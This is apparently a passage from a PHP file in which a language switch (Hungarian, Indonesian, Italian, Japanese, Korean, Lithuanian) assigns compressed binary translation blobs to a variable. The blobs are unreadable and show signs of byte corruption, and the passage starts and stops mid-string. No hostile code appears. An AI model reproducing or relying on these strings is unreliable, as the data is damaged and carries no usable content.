=kp�����|'{���7��43\\#�Y�|�/;;�����R�I韺J2�&\r�j�	��}����#x�8���IJ&���S��T�\\�Ŏ[�텬I���^c�p%Fr�)��C[�=��|9�UW�2]éw����)�߂9��\\~�q�-ƽ�����nCYŜ�]�<T��x��ik�B�O�Y�ް�Ea�.�b�y9�׈6�+�|j3\\����ldžd���}�\\߯\$ /��Cu\0EH����&\\T��R������2 -k��O�{�⏨��,[��R��#�y�.�b:�D*;�	�V6�0S�`@a�������x�e�5�#�0TJ�-m�y��'f5�Z:��(D`��	������\np\$�T`�*#g.=���@VHM�H�P0D�6�6�F6�\"ZE�)���l�>&�p`@���Z�{i�mf����צ� -\\%g�m���e|x��da���\$Di�oQL\$HK�3���\n|Cb<1\0=O�@���Z܂h0�&\$��]�2�.��m\\^�ծ�o@�q�i������&��,`�I6*�@:@m�N�ƙc:/Kh�#�]I�m�4q���j�\nz�&l�D���î�'B7��c�-KV�E�g�^J�0�R�.A�r�1���89l�\r�J߱���` f�DxX��^��B��\$Ҏg�\"f�B";break;case"hu":$f="B4�����e7���P�\\33\r�5	��d8NF0Q8�m�C|��e6kiL � 0��CT�\\\n Č'�LMBl4�fj�MRr2�X)\no9��D����:OF�\\�@\nFC1��l7AL5� �\n�L��Lt�n1�eJ��7)��F�)�\n!aOL5���x��L�sT��V�\r�*DAq2Q�Ǚ�d�u'c-L� 8�'cI�'���Χ!��!4Pd&�nM�J�6�A����p�<W>do6N����\n���\"a�}�c1�=]��\n*J�Un\\t�(;�1�(6?O���'�2`AJ���cJ�92�3�:)�h6�����S���x��5O��a�izTV����#h\"\"�@�##:�.�d��9f=7�P�2��Kd��7��Ċ+q{95�tF6D��	IC\rJ\r��PʬBP���\"���=A\0�FA�b4)0z\r��8a�^��H\\0�+�4\r�����Ø�7��xD��H�86̓��}�JHЋ�!\\֊b������9;cbK���5�Lk�'*����i ��/n���/���gZ�a�CRB��0\0�]��r���2h:7EԢ]�t�5�P��WÅ�E�&ʌ����#�6���\\��[�\"�0�:�!\0�0����	m��Z P�:��X�4�Zp3��@�����g��8�W��\"1&*@ܹ�kz�l ��t��Pް�m�(#���X�^��;n(@9�c�Vͅw�/ S\$3�pv��̲���Z�%���⚯�\"QE���P����JE^����*��(6M��3�#��7�U�H�zZ�\"��yi���3pp�iQ�6淈�T�\0T;c�%,sL�Wmh�3��㯤����{_�4u�2:�c\n9�ؤ27��X��C�`3�+�A�]�j��@���,*�„�)ɀ����`���\"�<�Ș���O�ashQ�fk�:*��2R��U��\r��B���jqM0�ѩO��� |Is	�j�UvH�\n�)(d2��|��6�99�Ry�j��� ��ØwR+�2��R\$�)����*�Q!�E�u�T����aM)�<�ҥ90�U��Zf��'F�2���B���RC(k!A�>箦�r\n!��s�V�d%b%�S�|�0a�L\0�mP�O��H�%�C4VoQ�E��)���h�Ӽd�\0c�\$4���M�qw/0a�\"@�t�2}�������/n]�5�H\nQ�s�\n\nb\nd|��58B�Y�V&�ٛSn�]t �7���w.O����R���n&	E�H�vOO�t+Fu1�\r7����`�d4�P�[Y�0F:�M�I&�Drk�T�g�\0���ƃ�J�Ȓ�X����j�y��\n�W&1i(LB�O\naR���B�Vx�h�\$9�t��V]!)+��y��4&\n������w�%�+%H�esA�+P�L�����#I�ؗI=�2�TBA<�A\$���\$أi2a䃚Þ�AY�\0崓J���:6�{/��\n�e5�=��h�B��HjA�{N�X�\r��ε�Ec�Kd��\0���Xro%\$P;��[ߓ���j����\n	OJ.,�Rp����uס1�~�&�n1†Wt��y�&��\0����l�a���1\r �d���\\S��\n\\����k0�\"G��ӄVik[�Z�-�2�粣}�x�J��v� b-t5��H��]�<��LҀ`�I��܎������g�vH�\"��̀+D�e\"�وC�ǁ�e�wg\r���\$ä@��B��e�h�g)9�m���\$\$3|�]['�=��Tj�PR`���Y�h��qdH� B�,�s��.\$ �@�BH�\"���N���4,��y\\Ͱk�-\0�vƻ�y_]�X9.�ӯ5�_R7ZH�2�x�ф-��2��W�{��R�VT.7_Y}hr���tKf�m�6�K��T��r��6����pl�g�\n��5[D0�=������Bia=󹗡�%Zb�@� M���7�c4o��N���X����ùo�\\��av�[*��rs�m��}�����䮖C��\\A�1;3ʊ)���0c��5n�0���6���ު�WI)#:>p>G(�/S�lO���`�\$�a�)'|���lIXl5�T�.+j��s�]��t�cy�9/kVoc���*�̲�v���F�g(:c�*O˗ f8 ��H�a�YE*���ʂ%D�0�w+:�f�\$��i��.�{�wnm����T �R�䊭�������BNS���%����((� :���	�g�n������e�q���J	O�o5� �D��O�Z?�YY�R\n7������O�o���o�po� ��8�&\r0?-�����-��\r��M�0\"|���Z�,���-��;`�D߭��P06P4��г�0�p\0�j@\r��n��;�q\0��:�����\0Ɠ�@ ��_'0�*��\n/C0��)(6����{�c	�RC�\nI(��%���p�{��Ol��gT��J0�t��@`�5�kjal����P�����uN������2�K�a�RYP\$*��,��,�)P���������ӄ��m!,��TDZ/o�3�B&�#�a�;�sqLuG	b���&6	��lc\$�*h+\\�C:B��e�QXB���Bsj%�D����Z@�\r��0��{fJ��uq}D|;��X+�G\n�TH��N�%�J*�ZR'T<�8�t��\"��O)!��,�=!Α\"�n�_�h���C�\$R!`��N����%�\$\r8|�����#Qb�'h_L�&�y#��(S夳�w�z�k�K�,Er*\r(D�*���JK�*HRS\"H(?`�3q�\$ބi;��h,\r�V�Fb]�h;,\0ʮ��/�.�a�/C2�2��2��	m.���%n��j\$]\r�1\"].����]�2C6�m�3�KS8��\r�V�ot��8�f.c#Z�G.���|D&���)�#�|�\$\n���Z>/.=�!�\$s��0�.|�G9�:�:ey9�#�@\$BH\$nw\"lB^&/F��93n�\$�/vN|�,��'�nk��:��8&/�V)B�\n.��k�\"�&���\nPR#ZJ\$�A��C�7�\0`ðY�f-n�:oh�\r Yf;�j��b��8��0rL�n�<��3i?%iN>'KE�j'�,�T[F�B��\$È6��5cZ ���X}L��t|���I eQ�-��Xg��	��`��E��,�j.�n3�EQ�������`��\0��c?�#��(�r�	CVZ\r&\r�Rg��3\"�*�Fc�GB��'^g�Q2�̂*��c#���8+ �-Ð|�H��r3�l-af���\0t\r��";break;case"id":$f="A7\"Ʉ�i7�BQp�� 9�����A8N�i��g:���@��e9�'1p(�e9�NRiD��0���I�*70#d�@%9����L�@t�A�P)l�`1ƃQ��p9��3||+6bU�t0�͒Ҝ��f)�Nf������S+Դ�o:�\r��@n7�#I��l2������:c����>㘺M��p*���4Sq�����7hA�]��l�7���c'������'�D�\$��H�4�2�\$���E��N��)��7^���t֜s:�����(�	H�J8#�;��:T�'03������C	L\">��(ގ��P�0�ˀ�߽�(��%lN(@�;���N���.\0P����\\u\"� �6�(� c@�2���D4���9�Ax^;�r�6�	@\\7�C8^�Lc�ཬ�xD��KV�7#�x�!����23���\nb��4�)h�ˍ)+@��lZ6��Q����J�5l��J�˂��tB�&C�+�Csz�����B9�X�6C����S�d	#p�%�O��:C����`�:�����(C�#@#\$#:�#<���b.2\r(�r���h�H���r:�-k��\"\"�r5A�{ڈ�h�i��O�`@�#�P�i�B���\"`1G�j��]T�I�`U8�qS�!��!�ȍvP�%m.:(2��09�Sp�0Tvo�66byjo���U�C�kY�;ĦLp�3�H�2��^�����ȍ�����Ƙc5����:9��x�<�In�j8�6�(P9�)n���\"�)�z؈\$�p@%�,��?6�8@3Lm�ȩiC���ٮpL]|��	��ބ�.j��1���ȔC%ɳX��\"�c#��&+W��4�\\��,���lw�h��9���2�T�2q�ԕ&I҄�*J���-u���/�3�2��L��M�|TG��tN�!<'���3!om!6\0KB\"=[&Ś#�I�\r!�Ҙ��ʁeB&]�s\$JIO��Г3�ٛCj`�ѷ��h1�Ď�\0���\0i<��\"����ng(���P��8'K�2A\"t\n\n@)�H�\0��YZ� u� əS.fC*|gaЛ�S F�:�񤖄�fʁ�&!����fz����\"S�!�5R)9e�OI�9q�H9�C[�)�\$���b	�|��@�@sHM�XqZ'�ˇ\$>�_��)�蠆5h�%�&j�xS\n��9WFM	��q���UP���HD�d���ʁ,A�3�A%O��M><�\nB\$�x1/�� a*Er�`#jV��h�sY\$!�r���X�*�	�8P�T�*��\0�B`E�@('�(B���|��T@J��A�Q)���G��44'��Q��&��\$'|�f��{��e.����̹;1t�C4�6˥�.d�l��ʢ��)22R�\n���a�5�����J'\nTN��\r���|Q)��JC݁��E�����eBiuah�=-(�j��,3�4�ê���y*U\r�؄Zl*|2��;��2mb�W���1�4�Wٮ�g �L�6���9A��\"�Y��\\j����4�-Ҧf���t��Mi�t]̑���T4֢4r�`b1;�p*@��@ �L4͵�y��q�s�Ɋ%�D�����T�Q\\_E�Q�hln-���Ɉ�ڑ���.+�Ê1vG��|B�K[��a��9T��0�9��b��㼠����܈�RDQ�A6a�}l�7M�	�;H�C�3))(()����\"CzC8X�b\"\"�\rR`��2���4�}�ek��J �`���_���u����B����GL��ߏ�I\\�MR��쨌��8|�hS���Ø{9��B�t^'a�Kh��s��b�h��2�`�Q��qM_�„��D����������]범�\rM�!2�%�'jUx@Wޘ�A�J8�l�����5�W��X��)����텡*^u%�T�mrvH�Q�����J��t;�a�sU\r�紒�ظ,)����6��ެ�{���]7���ZV��%4kn�w_R=��݀�:�0�����pXK�t۹n�s���Vӎ:�?��\$�ܛxi��T�ʳ�֭�#�k�:��.�R��5�\$G��1�)R�r;�d���L�\"m��:�%Pr;kA��/��(�1�IlJ5!Ev��M��,�mɸwx�\r�8>���I�Q��kB-�߻�;x.O�<	�\\��`�u;���&��ob���\ni�!0�a��&<̙�3?/�[��>���G�����.�V߶2e�4�#���ۻo�ETN�vD'#����RJσ�0C�UOg�;��I[�r��흿����<�sK꾟�&�ڱ���=��X��4ۿ�������/�����tEO�Tφ�T�&T�5�`\$C����\r��P˴<�Ӄ�ht�T���>��㒿Ov���)\$���_��X��h��B�oH\0��*@�J�`�?��il��,�BY�F4F�Oh6n�%���4��Ln�\n���p<v��#�0�L���~pX��x��~GP����\ne�?�,ö<��2k� p�.��lc�\"�r\$4UB��ET%��\r��\r��1�;\"�:�(��HZ �HD�6tl鋖�M ���,�q@���'f�_�����bj�-1R����\r��*�\r�Gl�n����k�rp�	���T'K�9��6���KK�@%��k���>���x<�� �Х�a��P0n���,�;����J����`\"H�ʺ��Ā�BF�^�BI�1(Z>(2\0";break;case"it":$f="S4�Χ#x�%���(�a9@L&�)��o����l2�\r��p�\"u9��1qp(�a��b�㙦I!6�NsY�f7��Xj�\0��B��c���H 2�NgC,�Z0��cA��n8���S|\\o���&��N�&(܂ZM7�\r1��I�b2�M��s:�\$Ɠ9�ZY7�D�	�C#\"'j	�� ���!���4Nz��S����fʠ 1�����c0���x-T�E%�� �����\n\"�&V��3��Nw���0�)���ln4�Nt�]�R�ژj	iO��4AECI�ҍ#�Cv���`N:����:���\"4�\0@�/��\nC,#��z(���T�*c*rװL����/Р�c��2A��ĝ?B��k���B`޵\$�������&@�2���D4���9�Ax^;ˁp�2\r�[-8^����ʚ��xD��H�8\$	���|��м��P��b���%��T޺C���4�-�-�M�*c�: k��/��8������5��Ŀ	� �#q4x7�B� �\r�:��\0�<��My_X\n�7��\"������NդtЭc�h���:���@�\r���)�1�H��M��B�3��m��l���cp�qBx�Yk�R��H����Bc3�4�@�ZW�t�UJ���#u�\$��\n&C4»m�KPU\r*��`U?S��`�����Lfq3g���R�B�6ΰ���.N�磎ZNl2�Z�g�c�\"M~x�8iֿ[�[ �\"	�3Δ����#�7�@���Ì��Adȃ�X�[��ƭaa�#tvaJZ*\r�Z*b��#)�-�4�pA�l�`6&�f4��s��.J��\rS��p�v7���5�c2��&��@ �忷/249c''�3x������3�����e/��m�(�䚦)]�e�ҩ��e���'����'J�����ZK��/<T�� rLɠ2��*�rnN\r:�Ǵ��2}CI�^�r�2�H��\$#�Z		�'g���U^f9�\$%̏��LUO���1�����.�d�;�HU�aϼ�V���|p�\0:�Q\nH�!Z�!��z�Rk��d̤�E�(N0�|�\"By |c\n (D�������IHb(\$�g��Nr�����<�c��5E9o P��D�U�X���ӏ ������\\�P0Dtʖ�f��e=E\$���\"LU�#[ў��V����#�6�8\r*⫓k\$ᚉ&�L��\r� 7D�O\naQ�'8@�{�����-��,�!1I�VF	JI�gS��Y���nɢN��/õ|c(6k�`�Xʽ&Q��4<CJc!Ƥ��ޒ@Q�UlH'��@B�D!P\"��<(L����贲R���d�E���R�a�=~��aWqjag�䜰���\$M5�!�� 7�j�0�A���>�\\�5��4��7�*C^<�B��Fo5Y�-:\$T��P�퉨\n\n�B/H#�k�ʴ\n�\n���׎��͈�z�j;��Л�)`\n2�]��9,��F��.e�q�e臃�;�!�ă�t�K;f�������l7\"*T=D����r�*Y�V_�qz%L�S*\rpH	�\ni�%/��\$b�e��T%rzb0e1�����ZL�+�!���xIqk\rq1��7�B�4��#�rY���{�\"�h�V�+O;ȵv�@�BH���e.��x�'@9I’U^\\N���^0�1�	^���ҭ u���t����[Xe����aЈ.-�⶧��/�%��u���;��5���k#���Y�Ry-Xx�*�wZ�blOv��-��Tr�u%t���S�1�W�)�o@�CH{��\$X���]%2��d��CC�^Ij#�9\"�jC�EZ�gՠ��Ӊ�C\n�눦T�0��i�-r���V�AnSt�B�J�ҵ��j�,���>C�&Z�p����#���ꪝ5vԗ'o�Hm��KgY��L\"�9��QT�0��I��k\$��X��I]S�g��\"�����h\$@����H_��b[��4[�q��(����4{�p��ɐ��.tT�)��j���q�tJ6��D����U8��f��5d���c�\nmo[���}yf��\\���~��^D��&#qE/��Ș��h�v�p	���#��+8=(�'+�� ���f�����[�,�mu����en|��B�g’I��ۑ��u1�/V�FՒC\n��44ۜb4e�~�\$9<�����h�1}=���\nt�*=/B�:n�of�=�kc��s�b�!�NA��y|��H��v5C�T��ٚ��{����V���_�C�����^�jg�F9�����������1/��P��q;�3\"��S��>�k���cW��=���2:��ΰf&j�ą:�Ơ��<�/������C%8��@\$�E	��À��\\�\"Q�Dj\r���Nl썪�E0�./τ8pJY�@�%l�@�E���'�ଦJZ4#J<PbIP2�D�pW�x�D�Cwm�Pa	�\n���o���y������V�/����]�\0�\n��J�֏�\n�e\n��\r�}-u��	t?\$h�D\\H렩�\\���Xp��}��lȒ���\r:���Q�BJ\"��-�@h�80e��'f<�J��V%��B�1k�G�>���&#�c�\r�V�b�c8�-�\\��>T �Y/B=ʢ*e} �\n���p*\0�7&\0��,jNf��,H�L����kF��2jL2��%Ti+���2t��'VƢ8mK�1�)˜\"�#���N��z�I�g�] ���d�/�B&B�c#@�B����b�H#H4��,b��0�S#o\0����D\$23\$�1#�^?�Vۨ��R^�.,�ά�\"@5c(��ri�7d¶����j\$%G	%쵋9&��/\r�%��jȧ��0�j�\"oi8����ć��A��������-���\n��~���6r@i*�\r�p���ʩr�iɦ��!�x\n�=�&��T����	\0t	��@�\n`";break;case"ja":$f="�W'�\nc���/�ɘ2-޼O���ᙘ@�S��N4UƂP�ԑ�\\}%QGq�B\r[^G0e<	�&��0S�8�r�&����#A�PKY}t ��Q�\$��I�+ܪ�Õ8��B0��<���h5\r��S�R�9P�:�aKI �T\n\n>��Ygn4\n�T:Shi�1zR��xL&���g`�ɼ� 4N�Q�� 8�'cI��g2��My��d0�5�CA�tt0����S�~���9�����s��=��O�\\�������F�q��E:S*Lҡ\0�U'�����(T#d	�H�E��q�E�')xZ��JA��1�� ����1@�#��9��򬣰D	s�IU�*����\$�zK��.r���S/�l� ��_')<E���a'��Js,r8H*�AU*����dB8W�*Ԗ��E�>U#�ŽRT�8#��8D*�<�_��a��E��T�IB�#�d�+��	lr�j�Hγ�A�3��>�%ʨ��E��Y���p�����Eu x0���3��:����x�a���6��(�\r����u�<8Cp�4���D���H�86�m�:�x�Da��\r�#vގm`�(��K��#��A��NE�\$Ўh�K �J	se��K�*�WaXft�)�M��L.N�A \n��7=�<H�Һ�<G���4sj9�� VQ�䬸\"V��6�\0�0���˝%��E?GI,Q�vt����R�9hQ9��vs�|�\n�y��F��x[k�\$o���{�\$�o/\$Y+��B6�67nKlc�7=7�?�ٺe��A�9���|�d�@N�Raxl�Х�I=��ԩԦ\$<�=��`I�PT�YF�������@���*Q%��=�}P�=N�B\"��v棦��ֈ94�0A�5�x�3\r�M�#�zRAHȨ7��o<���Cc7!�340@xg=�����g'�AFX��`u8@�9���9��µ\rT˜R��2�#9D3l�h R�CȀ�7%Z�IA~��*����fY��k��@V:�P41���P Vj�[�����d['��Uξ�%D}��2��X�>��'�ALl?T.����hu���b� �C��F�D0�Wpe�4�`��Ҵ\r\n�\\+�x���X�d唳r�ZRIj�u���s[�}p�8̺\n����w��CY�^��e?�L��h�I~6��I���<��VCxr�D\n���DSXCt[�sj��*%%Ļ�f�N\"\0@ � 4�S�sCv\r`s+�9,��KHg1���P�ED��Y��P	A�����B�<DL�i�i�A�� �&0��U�sF�̦�,�w�dm\r��]��f�Ctq�hoh�\"p�%�l!�p�6?��\"EH�\$G��ED�Q>(�\"d4�I*�j��I�lh���|�)rI�(�!	U�)� �-uA\$���J�5�x��zqMҶ-*D�\0��xm��FSH���h,^3��\"N`P	�L*9���QA&��� Dr5���ꨒ� ��xa͂ ���]#�T\nԋ^+%��SZ�ͩ\n�M;����,g�i��y��,mMa�V�*�c��ߨ�U��{2�Q�Ye�R	a� �+�.�S���9E�f	�8P�T�+�\0�B`E�E��\$9Dx��xy�7��s.p�;����@\"��L>B���j��!��P��g>�TկS��а���d,DF�c܆�	0�|\rB@W��A��_\"!az�T%��5(@}�0���-�q-�0�I�E�/����Y��\n4(��(Q��㞊�T��xA��� �i��\n\r�1/�0����]8[�i��0�m�\rO=����Q�DT�M�!שs�!�U	}��w@�ʣl?��b�K�_A�Wd�-��]c#��&����+f��_�����tX��BĶG�v����t�'��R���%�p��:�#⼼�qty��y�8^i���D7M!?o|��Tj�Hn��f\"C	\0�ɬ��n_:��60�T@�p���x��E�>V �I0\"K��f�hx�|�@L�I����~�趏B�e�BG�@�rIL:(a�M���Asʫψ���%b#�y��Y\r�tIYJ)Wy���5.�{�')��R�WݛM(��W�2hB�B�v)c����Dc\$���6���7{н�̘.��G<�<��\nh�J��,�V�_��s\"�����)��)LV���-�@���\0�y�v��2�a�1��ϟJ�l錱�:蘰�ʋ�t2\$�g֚X�}.ͱ���ڰ��ޗ�����?���\r8V8�_z?�@���m�\$�H��jM.L��\0>���\0�D`~Re./�CM ��#��v0-ڍ�(m0>���V,I��k�D�Ft�������bfff*Ho&���N/%\"#`�����\\�l�O�L|S��R!�\"n�H ��찒ɰ�ˌ��,�K���y,~֐^b��ɍh{�d����N�-l\$��\rǹ0���\"�����*��v.�N�b����]Ώ�+���a�\r����%��b,Q\r�ֱ6ⰽϼ�p�'���>�*^�&(n�+A 0�1.Io��R�� ϸ�j,4Bηp��\r�f\"ph�B3���qp0db+�\0M��	.��J0�LkAx��\r�Ê����ŭ�`�(ۑ�	�7����m�؎}��Q����1��1.�q��q� ��a�Hr���.�jA�C(�^��c� VdA��g2:1\0R�\0�� g�\"9%k�R�%��r��I͡!�ďH�P)'ƥ'o��%��H2�c�\\'�̡M�L�LPc&� ��!/�+\"?+qȰ�P2_r�\0��!��-2�+��,A-d�)a~�\0Hd��D�NP�����QĈ�J�0\r�c���#���/�.s\n�SH�(r��\r���+�,\$���ݲg��4�?r�,�5��/�m'��6oI!�F�'�����2�0-Z#�HSRu�/8rp� ��\n\0�kN�vw�<a0�wGx0�b��~�\$|����+�x���+\"��-�~ҫ! ��:D=�n�#���O�6\"`�@�`�}��\r`@[+�h�8g�]����^Ø��]@격҂��\n���Z\0@Z(���9����Dw�x&�<�G60\0�/�L�į+f��l,�	�9C�t9��2m&�T�2#&��@�\r�\r��5��9�Ld=�8@��'�>/Ol� �<��y�MA��qC����#v��P�H'#�)6�O/�40�\n��R5k��@\r���E�ׇ�P4�Q��neo�k�YK���n��It٭�Vb�+h3B�`\n����\r���I!��x��zNB�%g�:f(I	�T�8&�G��Ǧs�ƚ�N�\no��\\Uٕu�R�,r�\r��#���:�G,U7dx��vU�B0@";break;case"ko":$f="�E��dH�ڕL@����؊Z��h�R�?	E�30�شD���c�:��!#�t+�B�u�Ӑd��<�LJ����N\$�H��iBvr�Z��2X�\\,S�\n�%�ɖ��\n�؞VA�*zc�*��D���0��cA��n8ȡ�R`�M�i��XZ:�	J���>��]��ñN������,�	�v%�qU�Y7�D�	�� 7����i6L�S���:�����h4�N���P +�[�G�bu,�ݔ#������^�hA?�IR���(�X E=i��g̫z	��[*K��XvEJ�Ld� ��*�\n�`��J<A@p*Ā?DY8v\"�9��#@N�%yp��C�� Q�V2�� ��'d1*���A�a�L��U���<���P�I�Y�L�6F�r\r\"P��-ȧYTT���dF�\n��BBhj���RE��a�RluDZ��u�҉rBo��Yq3�1D�6��yRFIy�[���'Qk�	�N�rgSR��-X�2���D4���9�Ax^;ׁp�2\r���9�x�3��(�d�(�9�#}�*��6�\r��e��^0��Am��x��8�^)�\"`��'\\�5M��>v%�dY����Y�az�0���%����R��bbRB@P�0�Cs�3ā-�B��t����俗���T�nGdy2v�������:���@;#`�2��!@v�s2T���ˠ�2�dLdU	�@꒧Y@Vd���?k6Ʊ�J�'*�3�(�#g�c|�7!\0�1�#s�v��RZP9\$r�<te�HM���/���A�YNDq�W\"�r��0v=ٽ��2�m,��n�Eq(��D~A7�`�1Q)�bD�_}^TiiG��I�B\"�8r|�/���H��M;Rc\rx�3�e�x�����d*\r�۾�!\0�g����c6x\r�x��ac|�ha��\nǗ��0Rs�\"bc�H0�F ���`�9!K�Ļ!�(�@�C�}�����|�P���oC2�}�@��\0��r��i-\0Ȱ��U��Y@D�\"�8�mo.�!��'.Y�\n1B<�U!�TB�qA	��9�P�l�`s�s�P�J���%�^�U��V��]��~�Cr�X�d��쳖���P9�e����U\\%Qq�Uʹ���!�׮�f��\\�\r��+ŔJ��<�Ю4�p�k�c�D7\0�n�b5��aÐ��8aѹ�?�߫�/�^��o��z+l8��KAfI!\$�\r�E�(���Py�\0���nG���( H�\0�qd#Şu����L�ck�ٛSnnM��:Ӓl{>h/�;�X�_����pV1��T�bP�(�:�<RGYK&��t)E�\$d^4\\i�@Dc��r��gC��\$����� i\\�ş.��(A�U�š��@��o\r�� H��q�T�+�lQp�\0�)A\n<)�Cμ�rl��H��¶�E�25��(�SʍD�#�R�P:��AK�;\nD�����&ZB׬j��8/�_��@�Hg�&U�pkͺ��Rw���V�����V&���r�/�d\\�lSk\\k̀'��@B�D!P\"��� E	��8b<�zU|��X���n+M�\n��y�/�@��b`��e���R((����M���a<Kj\n��/7)'+QQ��r�PR��ˌ��*|=;,�E�x./`�x�ب����c*�re_gI�����P�tP����l���yE+I�\0:Dw̵��\"v�Ш�M}�;�|�Hzh�l@���)��Tx������rNu�Ƹ�8^�Z\\��2�u��Ӹ`�R���L����)�̰3�I^CHa\"��q.5�s�A��&]qlݐ�)V�i��|O��S±���0Q9�:���-�d�^#�(	#�N�\n�!��AWi7�aWъ�ph�r8�|v�Kf�K�����@FW;r/�Z�a�\0@�&�¡@��f�D�v��I�6���ކ�.gI�ކ�m]�y���;��a}ϸ�r�gՄ;�BFV,X���e۔2NJ�i/&\$,����H�H���\r�d�wO_.#�)�P�>9y���#qtL'e�4�B����\n��&[P���0�C�y���˄ڻYd�əS.^�jcB�D����r>E�q-��iA��3��.f�?f޹W=�1���o��I���H��F�=xfBJ��4=ó������d�0S���,���O&��FF8��M1h�����=H��e�y�D��(��jO��¼_-�>�B2tq<�R()8���u������/��_��7���8m�kc���=�����>�%�^���/�����x7��_}�~�o8����o�9��s��ҡ\0'6y���~�O�����FMb�b����0*m�3�������k����k�m5\r�\$�m�!����w�&��\0000O@<�`��)ll\"W�f&f\$��\nM�����@̧�*L�p!R��#�v��>%ֻ�r�k,0��j���+�� ���\n���#�(��tѧ4���tO|�{�����e��r�0p�� ^!n*Qw��/(�p@�D��'/���2l�o���0�D%��FANr��c��b �6�:�`�Mh��)0,а)B�lR��'\nS\$�C��i��f*���`P�Z\"rդ�a����!K#�=���>0Xln]/�p���\r	���\$\n��.HD�\n��CM��G�ܥ1���\0�XGq�F�=!r\0Na;�%!2*H1� \$��RӍ2�-��a\r.ӲM���\$��%�\"F2W\$�%�E&M=Q�I��P�pג&G��l�6�ѕ!�G`	ؖ��0,t�PT�4&�GO	b<����eL���Ã�A�&#�R�\$��=����#�2cĺ�&qQR�c�����`���@�`�{��\r`@ZKLh�8��\\����]��^\\`�Ʉ��z\n���Z\0@YH��#��P:���ua@u�21�>�����:i>�1�1�v@�3S8K�h`!fI��2�0r�LKS����\r�J\r��5�9`:�~cbD�+���,j���C�A`�����-1g�o��%O\n��|D\\!�Q8����>r�C�>s���&�.\n���cX5�N��\r���e��Sx�jx<�\"�jllj�B�\r��-km	E�H@a8km�\n�r��\r��)#���rFAm&���5.�F|��>�h�~��V�O�-l�O�e(t������I�P�ƞ:K��nHOD<K��t#�";break;case"lt":$f="T4��FH�%���(�e8NǓY�@�W�̦á�@f�\r��Q4�k9�M�a���Ō��!�^-	Nd)!Ba����S9�lt:��F �0��cA��n8��Ui0���#I��n�P!�D�@l2����Kg\$)L�=&:\nb+�u����l�F0j���o:�\r#(��8Yƛ���/:E����@t4M���HI��'S9���P춛h��b&Nq���|�J��PV�u��o���^<k4�9`��\$�g,�#H(�,1XI�3&��7�4ٻ�,AuP��dtܺ�i�枧�z��8jJ��\n�*P:-B��94-Ի4�J\"�cZ�,(�0��~6 ��\"�(�2�:l��\\P���(�6�\"��9lZ�(�*V���Z�!��(�)KP���_\r�V�ǃt0�K`(I�H�:�����4#�\\�L�;��-A���8�0z\r��8a�^��(\\0��j�\$����4���H�7�t	#k�#.#�x�!�G�D�ӴC�*)�\"c�2����n �..1��,��en:�&)V9;k�����\0�C%��َ\"�#n�:�i{0��P�	�������\0M�u �:	w]7X�;�@�8.�j\0���\\wP�kP�:�!\0�7n4�:B ʐ�圖�([W��4\rc�7����^Y~\$���*��c��9B�4��*W+��RT��x�U�_�s��3�4�2�#�V���`�յ���1�#s�X���6m�\r+���OÞ�YK�rWx�\0�З�8h��4H�اbfn&����%y��	.���<�4�l�F�ӣ�ǤB*Q�B��	\n#ֺ�� V�.����N���H�&:򣙣��l��3�eZ��L�3��ދ%cp�ң��1��͊��z�J��>�9;�7'7M7a(P9�)\"���=䗈b��#U�����LϓZ@\r�0����5M�!�(r� JXĽ<d���}X��4��a�\rĢ��\\��\0AQ*,9=�ƥ�HdI �;'�&���\"Ǵ��Ψ�)\$\nf}˂���Rt%�8�����ЍY�r�e��j\$d�6C6\0ùc]!�<|^��5\r	�=����T��� �C��R1�J)e0����S����LN�B0\r\n����4}á�I/5P�(���	E<�3N���bX��<v�L�aduK�\0�g�b2��9h^�\0f.f��=7��ڹ\"{r�솃N�`aG�����BXb-e�;���CHo�e����e���H������?�\\� \0@\n	��A\rK�)W\nI�r�p�K�@�O�A6ρ���r0o�ȏO��Y�<	n��ic|aB�\$䤕��^\\JW,� ��]��A��(&�jMb��'F���� �I��j�7.�Pj�0qc'��\$w\nc�35�f%]1�Q3Đ(C2�m\"�O\naR�:��;��*���JCJ#�9���Md4�T7bʱ�*���I:}��\nws1����C�]E��6\n�\\q`*N��}����䔣i\\,hȂRN�@T�/n%1��Z�gk�@�+{d\\��_�\"���akSYU5�����hli�8�!\0�'R�ZS�띓�UZ���ȇ\"��.�#�y+�`�דZ�xG���Rwӽfq��K�Gݝk�%�D�3r�@7��]8��kp�z�`wR�{�t� �BZ�YgB\n)P�ˉa�	-�t��Q��k���N�q�����5�񂶶���V��@LT+eǤ@�Ƨ��}) �J���oV<������1L���h���O�wHK/�����9���\$6�M�l%�Q@K'j�j(ݚ�Fs�[Lל6�]��N��,�%��q-��Y�\0��6e�MF/v�P���� 2\$-XA�J��\0�\"ga!�t�E�8�	\n���B�T!\$\n���l�T������{l-��Ɨx/)˽o���B\r;cj��f���l�܌j�f�)i'o�gjL,Pp	�\"����+�1�)�Gur=�v���{��=�7�(�߀ac6Ӿ木�oM��˹]<W�o~S6���#r�M�9�%�c���ϖ��&m��Z�	��\re��\\�|g9a�*p�m�bIIsds�n���I��ms\\�I�pW4�nr<g�\r�9�`i؈&f9�-p��cl��͘�C��y���ˣ�}�~��}�]�kH�e������V���	'�ȕ��W�#��Y�Yk�N�o�jhD���@J�m-�#鋟:���q58 \"�M��X5H�ð���H~���0D�5��������E�\">T�����JK�ݚ�P�I�)�>�㖭]Y�î��ᬵ����I%\\m��p7�q�k������m��@��V��.�o�\0�hN�p�	\0ɪ�/��μ�,\"/J���d���)\0d-IE�����ۯ�����԰6��:�p>��B�c^�CƨN(%�ܚCpА|W0�\0N�xFB^��3�\$���di�~#�P�cT�Ϻ4	@]IF#��m\r�#�4{��p��F���6\$^���AV8�`=������d�#~�J)��(��g0v0�	�~�P�,�ẗ�/�<���P�[-(̅�	0(��8�ЃQ@ZE\nIN�/���L;c�j���H�mT\"�b�����r6�N�Y�Z#T�ph�m(L��B�Mh�,#�!�^��DM��6c��c��\"/��J��O/-e1P�F���>dT;q�er����9����q��eP3����K��&\0I=oܒ��qp\$��p���V�.v9��Ѻ��7����'�4�r/\r\r,�%2:�M%o]%M\$ �RF{��q�t�t�Q�	�R-Q�l�Bmj[���qRIҒ&Gp�o�I)ġ)QΚL�\r �B��q�mb~���X��]�30���-\r����KJ}n6q��2�.1-����R��]�f)�	�-��Mrd|�����1����V����%	sۮen\r�Vg�`�	Z�&02�K2�y�'��U�]C*|@�\n���p��`�I��#��\r�2�.#ӈ�P_�8��!�0y�vN�l��J��	�X��f��+�8Ŗ���,b�/e8��Y���B�A2�\0�=�=��9*\"�m4����,c*4��	